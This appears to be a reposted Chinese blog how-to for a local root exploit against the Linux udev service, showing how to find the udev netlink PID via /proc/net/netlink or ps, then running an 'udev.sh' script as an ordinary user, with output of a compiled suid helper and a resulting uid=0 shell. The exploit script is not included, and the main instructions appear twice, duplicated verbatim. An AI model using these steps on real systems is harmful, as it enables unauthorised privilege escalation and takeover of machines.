方法一:
先cat /proc/net/netlink
ffff810077587400 15 364 ffffffff 0 0 0000000000000000 2
ffff810037f81000 16 0 00000000 0 0 0000000000000000 2
ffff810077078400 18 0 00000000 0 0 0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh udev.sh 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户
ffff810077587400 15 364 ffffffff 0 0 0000000000000000 2
ffff810037f81000 16 0 00000000 0 0 0000000000000000 2
ffff810077078400 18 0 00000000 0 0 0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh udev.sh 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户
转载于:https://blog.51cto.com/mooon/909417